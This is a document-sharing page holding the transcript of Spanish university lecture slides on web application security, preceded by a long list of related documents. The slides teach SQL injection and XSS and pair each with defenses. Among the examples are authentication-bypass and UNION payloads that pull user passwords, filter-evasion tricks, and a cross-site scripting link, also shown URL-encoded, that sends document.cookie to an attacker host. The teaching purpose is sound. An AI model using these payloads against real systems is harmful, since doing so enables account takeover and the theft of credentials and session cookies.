Seguridad en Aplicaciones Web

Documentos relacionados
Aplicaciones Web (Curso 2015/2016)

ANÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO

Desarrollo Web con PHP

CAPÍTULO 14. DESARROLLO

S E G U R I D A D E N A P L I C A C I O N E S W E B

Inseguridad de los sistemas de autenticación en aplicaciones web

Seguridad en Sistemas Informáticos (SSI) Programación Segura

Vulnerabilidades en Aplicaciones Web Webinar Gratuito

Ataques XSS en Aplicaciones Web

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Roberto Garcia Amoriz. Iniciándose en XSS. c_b_n_a. Leganés 6-7 Febrero 2014

Seminario de SEGURIDAD WEB. Pedro Villena Fernández

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Seguridad en Aplicaciones Web

Grupo de Ingeniería del Software. Conceptos básicos de formularios HTML

SEGURIDAD EN LAS BASES DE DATOS

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

About Me. Mario Robles Tencio

Máster Profesional en Tecnologías de Seguridad. Seguridad en la web

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Programación páginas web JavaScript y PHP

Novedades ebd versión 3.2

Sistemas de Información 12/13 Ejercicios Tecnologías Web

Navegadores. Los navegadores. Privacidad. Oscar Herrero INTERNET SEGURO CEIP ARCIPRESTE DE HITA. Fuente:OSI

Índice: Tema Conexión con Bases de Datos

Tutorial de enlace entre Formulario Web y Servicio Web REST. Programación en Internet

Segurinfo NOA Seguridad en el desarrollo de aplicaciones Web

SEGURIDAD SEGURIDAD. Guía de Comunicación Digital para La Administración General del Estado. Página 1 de 15

DECÁLOGO DE SEGURIDAD

Ataques específicos a servidores y clientes web y medidas preventivas. Problemas de seguridad Web

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Índice: Tema Aplicaciones basadas en Sesiones

Principios Básicos de Seguridad en Bases de Datos

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team


Amadeus Selling Platform Connect Acceso, página de comandos y modo rápido

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP

MANUAL BÁSICO DE MYSQL

LOS 7 PECADOS DEL DESARROLO WEB & TENTACIÓN DEL USUARIOS EN APLICACIONES MOVILES.

Requisitos. Universidad ORT Arquitectura de Software

Aplicaciones seguras con ClaseSeguridad

ID-UAM: GESTIÓN DE CUENTAS

Testing de Seguridad de Aplicaciones Web

WAPITI. Escaner de vulnerabilidades de aplicaciones web y auditor de seguridad. VI OWASP Spain Chapter Meeting

Su aplicación es segura? Demuéstraselo al auditor ASVS:Application Security Verification Standard

PROGRAMACIÓN CON PHP Y MYSQL. 40 horas 60 días

DISEÑO DE PÁGINAS WEB 80 HORAS

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

Estructura del Sistema

PARTE 1. XSS indirecto

Cómo usar VNC y RDP a través de SSL VPN

MANUAL DE USUARIO Formularios de Adquisición de Material Bibliográfico

Dossier de prácticas

A1-Inyección (SQL,OS Y LDPA)

Ataques más comunes. Virginia Armas Alejandro Do Nascimiento

Seguridad WEB Inyección de código

Aprender a desarrollar con JavaScript

APLICACIONES MÓVILES NATIVAS. Sesión 8: Arquitectura de las aplicaciones Android

Gastón Toth Lic. en Computación CEH Pentester

Programación páginas web. Servidor (PHP)

RETO HACKER DE VERANO

PHP. Introducción (1) Introducción (3) Introducción (2) PHP 1

MAESTRO DE PHP PHP NIVEL 1

Microsoft Word. Microsoft Word 2013 SALOMÓN CCANCE. Manual de Referencia para usuarios. Salomón Ccance CCANCE WEBSITE

Preguntas Frecuentes. Sistema erecruit del PNUD

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals

1.4.1 Inicio de la computadora por primera vez Hay problemas Causas, síntomas y soluciones a posibles averías...

- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

Java Servlets. Luis Fernando Llana Díaz. 17 de abril de Departamento de Sistemas Informáticos y ProgramaciónUniversidad Complutense de Madrid

Bases de Datos. Diseño y Programación Avanzada de Aplicaciones. Curso

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

Guía Taller I Conexión con la Base de Datos Introducción a PostgreSQL

Ejemplo de aplicación PHP: Tienda

Tabla de contenido MANUAL DE USUARIO GESTION DEL TOKEN OTP PARA APLICACIONES WEB

Seguridad Informática en Bibliotecas

XPERTO EN DISEÑO DE PÁGINAS WEB

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus

Desarrollo y servicios web

Construcción de formularios en HTML. Formularios. Bases de Datos 2012/2013. Luis Valencia Cabrera

Formularios HTML. Desarrollo de Aplicaciones Web Departamento Informática y Sistemas Universidad de Murcia Curso 2013/2014

Notas legales. Titularidad. Política de cookies (CN00302A)

Mario Muñoz Organero & Norberto Fernández * Departamento de Ingeniería Telemática

EXTENSIÓN DE UML PARA APLICACIONES WEB

Aplicación Móvil de Infinite Campus

SINTAXIS DE SQL-92. <definición de esquema >::= CREATE SCHEMA <cláusula de nombre de esquema> [ <elemento de esquema>... ]

GALA CONCEPTO COMMIT, ROOLBACK SAVEPOINTS (SAVE TRANSACTION) No Consultas. Definiciones Transacciones ( L33 )

Seguridad de las contraseñas. <Nombre> <Institución> < >

Un servlet es una clase java que implementa la Servlet interface. Un servlet corre dentro de un contexto denominado Servlet engine.

MANUAL DE USUARIO INTERCOONECTA - ESPAÑA

Para declarar un formulario se utiliza la etiqueta FORM que consta básicamente de dos atributos: <FORM ACTION ="programa" METHOD ="método">

Guía del Curso Dreamweaver CS 5

Data Bases 2. La sintaxis precisa de esta función es: mysql_pconnect (nombre del servidor, el usuario de la base de datos, password ) ;

Programación con JDBC (Java DataBase Connectivity ), Servlets y JSP (Java Server Pages)

Oracle Database: Programación con PL/SQL

Sistemas de Información 12/13 Servlets y JSPs (Java Server Pages)

DNS. Domain Name System

Suplemento informativo: aclaración del requisito 6.6 sobre revisiones de códigos y firewalls de aplicaciones

Transcripción:

Seguridad en Aplicaciones Web Jesús Arias Fisteus Aplicaciones Web (2017/18) Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 1

Parte I Introducción Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 2

Seguridad en aplicaciones Web This site is absolutely secure. It has been designed to use 128-bit Secure Socket Layer (SSL) technology to prevent unauthorized users from viewing any of your information. You may use this site with peace of mind that your data is safe with us. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 3

Seguridad en aplicaciones Web Bag Check A laptop battery contains roughly the stored energy of a hand grenade, and if shorted it... hey! You can t arrest me if I prove your rules inconsistent! http://xkcd.com/651/ Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 4

Seguridad en aplicaciones Web http://geekandpoke.typepad.com/geekandpoke/2011/05/ everybody-has-to-set-priorities.html Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 5

Errores más peligrosos en programas 2011 CWE/SANS Top 25 Most Dangerous Software Errors http://cwe.mitre.org/top25/ Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 6

Seguridad en aplicaciones Web Los usuarios pueden enviar datos arbitrarios a la aplicación! Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 7

Envío de datos arbitrarios Los usuarios pueden: Alterar cualquier dato transferido al servidor: parámetros de la petición, cookies, cabeceras HTTP. Enviar peticiones en secuencias arbitrarias, enviar parámetros en peticiones en que el servidor no lo espera, no enviarlos, enviarlos más de una vez. Usar herramientas distintas a un navegador Web para atacar más fácilmente la aplicación. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 8

Envío de datos manipulados En la mayoría de los ataques se envían datos manipulados para causar un efecto no deseado en la aplicación. Ejemplos: Cambio del precio de un producto en un campo oculto de un formulario. Modificar el token de sesión. Eliminar algunos parámetros que el servidor espera. Alterar datos que van a ser procesados por una base de datos. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 9

Parte II Ataques al almacenamiento de datos Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 10

Ataques al almacenamiento de datos Principales ataques: Bases de datos SQL (inyección de SQL). Bases de datos XML. Directorios LDAP. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 11

Ataques al almacenamiento de datos Exploits of a Mom http://xkcd.com/327/ Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 12

Cómo se explota la sintaxis de SQL La comilla simple es un carácter especial en SQL que se utiliza para delimitar cadenas de texto. La secuencia -- (comentario) invalida el resto del comando. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 13

Esquivar la autenticación Código fuente de la aplicación: 1 String name = request. getparameter (" name "); 2 String password = request. getparameter (" password "); 3 String query = 4 " SELECT id, name, fullname, balance FROM Users " 5 + " WHERE name ='" + name 6 + " ' AND password ='" + password + " '"; Ataque con el siguiente valor en name: juan' -- ' 1 SELECT id, name, fullname, balance 2 FROM Users 3 WHERE name = 'juan ' -- '' AND password ='' Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 14

Esquivar la autenticación Si no se conoce el nombre del usuario, se puede obtener el primero. Ataque con el siguiente valor en name: ' OR 1=1 -- ' 1 SELECT id, name, fullname, balance 2 FROM Users 3 WHERE name = '' OR 1=1 -- '' AND password ='' En muchas aplicaciones el primer usuario es el administrador, que cuenta con privilegios especiales. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 15

Tipos de consultas vulnerables Cualquier tipo de consulta es vulnerable (SELECT, INSERT, UPDATE, etc.) Se puede inyectar tanto en datos textuales como en datos numéricos. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 16

Ataques a consultas INSERT Se inyecta más de un valor en un único campo del formulario: 1 user = new User (); 2 user. setname ( request. getparameter (" name ")); 3 user. setfullname ( request. getparameter (" fullname ")); 4 user. setpassword ( request. getparameter (" password ")); 5 6 user. setbalance (0) ; String query = 7 " INSERT INTO Users (name, password, " 8 + " fullname, balance ) VALUES " 9 + "('" + user. getname () + " ', '" 10 + user. getpassword () + " ', '" 11 + user. getfullname () + " ', " 12 + user. getbalance () + ")"; Ataque con el siguiente valor en fullname: Manolo Gonzalez', 200000) -- ' 1 INSERT INTO Users 2 ( name, password, fullname, balance ) 3 VALUES 4 ( 'manolo ', 'pwd ', 'Manuel Lopez ', 20000.0) -- '', 0.0) Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 17

Ataques con UNION El comando UNION permite combinar resultados de dos consultas y puede ser usado también en ataques: 1 String genre = request. getparameter (" genre "); 2 String query = 3 " SELECT id, title, author, genre, pages " 4 + " FROM Books WHERE genre =" + genre ; Ataque con el siguiente valor en genre: 1 UNION SELECT NULL, name, password, NULL, NULL FROM Users 1 SELECT id, title, author, genre, pages 2 FROM Books 3 WHERE genre =1 4 UNION 5 SELECT NULL, name, password, NULL, NULL 6 FROM Users Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 18

Nombres de tablas y columnas Para realizar algunos tipos de ataques es necesario conocer nombres de tablas y columnas. A veces los nombres son predecibles. Si no, se pueden descubrir con consultas inyectadas con UNION. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 19

Nombres de tablas y columnas 1 UNION SELECT NULL, TABLE_SCHEMA, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS 1 UNION SELECT NULL, TABLE_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='SecurityDemo' 1 UNION SELECT NULL, COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='SecurityDemo' AND TABLE_NAME='Users' Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 20

Inyección de segundo orden Aun filtrando correctamente comillas (sustitución de comilla simple por doble), futuras consultas son vulnerables si se insertan en la base de datos valores con comilla simple. Las comillas no son necesarias en campos numéricos. El comentario se reemplaza por or 'a'='a. El bloqueo de palabras clave se puede esquivar a veces: SeLeCt SELSELECTECT Si se filtran blancos, se puede insertar comentarios /**/. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 21

Defensa frente a estos ataques Usar PreparedStatement o equivalente: En todas las consultas, no sólo en las que toman datos directamente del usuario. Usar el nivel de privilegios más bajo posible. Deshabilitar funciones innecesarias de las bases de datos. Mantener el gestor de bases de datos siempre actualizado. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 22

Otros ataques de inyección de código Otros ataques similares por inyección de código: Inyección en comandos del sistema operativo. Inyección en lenguajes de scripting. Inyección en JSON. Inyección en XML. Inyección en LDAP. Inyección en correo electrónico. Inyección en cabeceras de HTTP. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 23

Parte III Esquivar controles en el cliente Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 24

Datos recibidos del cliente Datos enviados por el servidor a través del cliente. Datos recogidos por el cliente. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 25

Datos enviados a través del cliente Enviados típicamente mediante: Campos ocultos en formularios. Cookies HTTP. Parámetros en URLs. Cabeceras HTTP. Son susceptibles de ser modificados por el usuario. Incluso en ocasiones a pesar de ser opacos. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 26

Campos ocultos en formularios 1 <form method =" post " action =" Shop. aspx? prod =1"> 2 <p> Product : iphone 6S 64 GB </ p> 3 <p>price : 659.62 </ p> 4 <label > Quantity : <input type =" text " name =" quantity "></ label > 5 <input type =" hidden " name =" price " value =" 659.62 "> 6 <input type =" submit " value =" Buy "> 7 </ form > Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 27

Cookies HTTP HTTP/1.1 200 OK Set-Cookie: DiscountAgreed=25 Content-Length: 1530 (...) Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 28

Datos recogidos por el cliente Recogidos típicamente mediante: Formularios HTML. Javascript, Flash, etc. Son susceptibles de ser establecidos arbitrariamente por el usuario saltando la validación del lado del cliente (restricciones en el formulario, validaciones JavaScript, etc.) Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 29

Protección frente a estos ataques Para proteger la aplicación, es recomendable: No enviar datos sensibles a través del cliente: Si no queda más remedio, cifrarlos o firmarlos (cuidado con ataques por repetición y ataques con texto claro conocido). Validar en el servidor todos los datos procedentes del cliente. Sistema de logs, monitorización y alertas. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 30

Parte IV Ataques a los mecanismos de autenticación Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 31

Ataques a la autenticación Errores en la autenticación: Errores de diseño. Errores de implementación. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 32

Ataques a la autenticación http://abstrusegoose.com/296 Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 33

Errores de diseño (I) Contraseñas débiles. Posibilidad de ataques de fuerza bruta. Mensajes de error detallados. Transmisión vulnerable de credenciales. Funcionalidad de cambio de contraseña. Funcionalidad de contraseña olvidada. Funcionalidad recuérdame. Funcionalidad de impersonación de usuarios. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 34

Errores de diseño (II) Validación de credenciales incompleta. Nombres de usuario no únicos. Nombres de usuario predecibles. Contraseñas iniciales predecibles. Distribución insegura de credenciales. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 35

Errores de implementación Errores en la lógica de la aplicación. Defectos en mecanismos de autenticación multi-paso. Almacenamiento inseguro de credenciales. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 36

Ejemplo 1 public void doget ( HttpServletRequest request, 2 HttpServletResponse response ) 3 4 throws ServletException, User user = null ; IOException { 5 try ( DBManager db = new DBManager ()) { 6 String username = request. getparameter (" username "); 7 String password = request. getparameter (" password "); 8 user = db. getuser ( username, password ); 9 if ( user == null ) { 10 // invalid credentials 11 response. sendredirect (" loginfailed "); 12 } 13 } catch ( Exception e) {} 14 15 // valid credentials 16 17 session. setattribute (" user ", RequestDispatcher rd = user ); 18 request. getrequestdispatcher (" mainview "); 19 rd. forward ( request, response ); 20 } Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 37

Protección de los mecanismos de autenticación Usar credenciales robustas. Manejar credenciales confidencialmente. Validar credenciales apropiadamente. Prevenir fuga de información. Prevenir ataques de fuerza bruta. Evitar uso fraudulento de la funcionalidad de cambio de contraseña. Evitar uso fraudulento de la funcionalidad de recordar contraseña. Sistema de logs, monitorización y alertas. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 38

Parte V Ataques al control de acceso Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 39

Ataques al control de acceso El usuario accede a recursos o acciones para los que no está autorizado: Escalada vertical de privilegios. Escalada horizontal de privilegios. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 40

Vulnerabilidades en el control de acceso Funcionalidad sin proteger en absoluto: por ejemplo, suponiendo URLs desconocidas. Funciones basadas en identificador de recurso supuestamente desconocido. Funciones multi-etapa. Acceso sin control a ficheros estáticos. Control de acceso inseguro: basado en datos enviados por el cliente. Ejemplo: http://www.test.com/?admin=true Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 41

Protección del control de acceso (I) No basarse en el desconocimiento por el usuario de URLs o identificadores. No pasar datos relativos al control de acceso a través del usuario. No asumir una secuencia concreta en las peticiones. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 42

Protección del control de acceso (II) Buenas prácticas: Documentar y evaluar el sistema de control de acceso. Basar las decisiones en la sesión del usuario. Usar un componente central para tomar las decisiones sobre el acceso a recursos. Restringir funcionalidad delicada por rango de IPs. Controlar el acceso a ficheros estáticos. Validar identificadores de recurso siempre que vengan del cliente. Nueva autenticación en funcionalidad sensible. Sistema de logs de acceso. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 43

Parte VI Ataques a la gestión de sesiones Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 44

Ataques a la gestión de sesiones La autenticación de usuarios se complementa con mecanismos de gestión de sesiones: Token de sesión: identificador que envía el cliente en sus peticiones, con frecuencia en una cookie, para que el servidor identifique a qué sesión pertenecen. Dos grupos de vulnerabilidades principalmente: Generación de tokens de sesión débiles. Debilidades en el manejo de tokens de sesión durante su ciclo de vida. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 45

Generación de tokens débiles Tokens con significado deducible: Nombre de usuario, id de usuario en la base de datos, fecha, número secuencial o secuencia deducible, dirección IP, dirección de correo electrónico, etc. user=daf;app=admin;date=10/09/11 Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 46

Generación de tokens débiles Tokens predecibles: Incluyen información temporal, secuencias fácilmente deducibles, secuencias pseudoaleatorias. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 47

Debilidades en el manejo de tokens de sesión (I) Interceptación en la red del token: Uso de HTTP en las comunicaciones. Problemas en el uso de HTTPS: Uso sólo en el procedimiento de autenticación. Uso de token previo obtenido por HTTP. Peticiones por HTTP después de haber entrado en HTTPS: por ejemplo, ficheros estáticos por HTTP, botón atrás, etc. Inducción por el atacante a realizar una petición HTTP (por correo electrónico, desde otros sitios Web, etc.) Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 48

Debilidades en el manejo de tokens de sesión (II) Exposición del token en logs o aplicaciones de gestión. Mapeo vulnerable de tokens a sesiones. Terminación de sesión vulnerable: no hay función cierre de sesión o no se invalida el token en el servidor. Secuestro de tokens o fijación de tokens mediante cross-site scripting, peticiones cross-site, etc. Dominio de las cookies demasiado amplio. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 49

Protección del mecanismo de sesiones (I) Generación de tokens robustos: Gran número de posibles valores. No incluir más información que un identificador. Buen generador de números pseudoaleatorios. Introducir otros datos como fuente de aleatoriedad: IP y puerto cliente, cabecera User-Agent, fecha y hora con mucha precisión, clave adicional sólo conocida por el servidor y refrescada en cada arranque. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 50

Protección del mecanismo de sesiones (II) Protección de los tokens: Trasmisión del token sólo por HTTPS (cookies sólo HTTPS). Nunca transmitir tokens en la URL. Cierre de sesión que invalide el token en el servidor. Expiración de sesiones por inactividad. Evitar sesiones simultáneas del mismo usuario. Proteger aplicaciones de gestión que permitan ver los tokens. Restringir el dominio y ruta de las cookies. Evitar vulnerabilidades cross-site scripting. No aceptar tokens arbitrarios puestos por el usuario. Iniciar una nueva sesión siempre tras la autenticación. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 51

Protección del mecanismo de sesiones (III) Tokens distintos para cada página. Sistema de logs, monitorización y alertas. Cierre de sesión ante cualquier tipo de error en la entrada del usuario. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 52

Parte VII Ataques a usuarios Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 53

Ataques a usuarios Existe un conjunto de técnicas cuyo objetivo es atacar a otros usuarios de una aplicación Web: Cross-site scripting. Inducción de acciones del usuario: On Site Request Forgery. Cross-Site Request Forgery. UI Redress Captura de datos desde otros dominios. Fijación de sesiones. Redirección abierta. Inyección de SQL en el cliente. Ataques al navegador. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 54

Cross-site scripting Tres tipos principales de ataque: Reflejado. Almacenado. Basado en DOM. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 55

Cross-site scripting reflejado Se produce cuando una aplicación muestra directamente datos enviados como parámetros de la petición por el usuario. Por ejemplo, páginas de error con mensaje recibido como parámetro: http://example.com/error?message=sorry%2c+an+error+occurred El cliente puede inyectar código Javascript que se ejecutará en el navegador. http://example.com/error?message=<script>var+i=new+image; +i.src="http://mdattacker.net/"%2bdocument.cookie;</script> Los enlaces se pueden disimular con codificación URL: http://example.com/error?message=%3c%73%63%72%69%70%74%3e%76%61%72%2b%69 %3d%6e%65%77%2b%49%6d%61%67%65%3b%20%2b%69%2e%73%72%63%3d%22%68%74%74%70 %3a%2f%2f%6d%64%61%74%74%61%63%6b%65%72%2e%6e%65%74%2f%22%25%32%62%64%6f %63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 56

Cross-site scripting reflejado Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 57

Cross-site scripting reflejado Envío del enlace malicioso al usuario: Por correo electrónico. En mensajería instantánea. Desde un sitio Web de terceros o del atacante. Mediante redes de publicidad. Mediante acciones enviar a un amigo o informar al administrador en el sitio Web atacado. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 58

Cross-site scripting almacenado El atacante introduce texto en la base de datos del sitio Web que posteriormente se muestra a otros usuarios. El atacante puede inyectar código Javascript en dicho texto, que se ejecutará en el navegador de otros usuarios del sistema, incluso de administradores. Más peligroso que el reflejado, porque el atacado está autenticado y no es necesario inducirlo a activar ningún enlace. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 59

Cross-site scripting almacenado Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 60

Cross-site scripting basado en DOM El servidor no transmite los datos del usuario de vuelta, pero en la página hay código Javascript que los toma de la URL pedida y los muestra con document.write(). Ataque similar en parte a cross-site scripting reflejado. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 61

Cross-site scripting Posibles acciones de ataque: Pintadas virtuales (defacement). Inyección de troyanos y phishing. Inducción de acciones por el usuario. Aprovechar privilegios: captura de texto de la función autocompletar, aplicaciones con restricciones de seguridad reducidas, uso fraudulento de controles ActiveX. Escalado del ataque en el lado del cliente: captura de teclado, historial de navegación, escaneo de puertos en la red local del usuario, etc. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 62

Prevención de cross-site scripting Validar la entrada del usuario: Restricciones de longitud, conjunto de caracteres, expresiones regulares. Validar la salida: Reemplazo de caracteres reservados de HTML por referencias a entidades. Eliminar puntos peligrosos de inserción (código Javascript, cabeceras de HTTP, atributos de elementos HTML). Donde el usuario pueda editar HTML, limitar las marcas que pueda utilizar o utilizar lenguajes de marcas alternativos. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 63

Referencias Dafydd Stuttard, Marcus Pinto. The Web Application Hacker s Handbook. 2nd ed. John Wiley & Sons Acceso en Safari Capítulos 1, 5, 6, 7, 8, 9 y 12. Aplicaciones Web (2017/18) Seguridad en Aplicaciones Web 64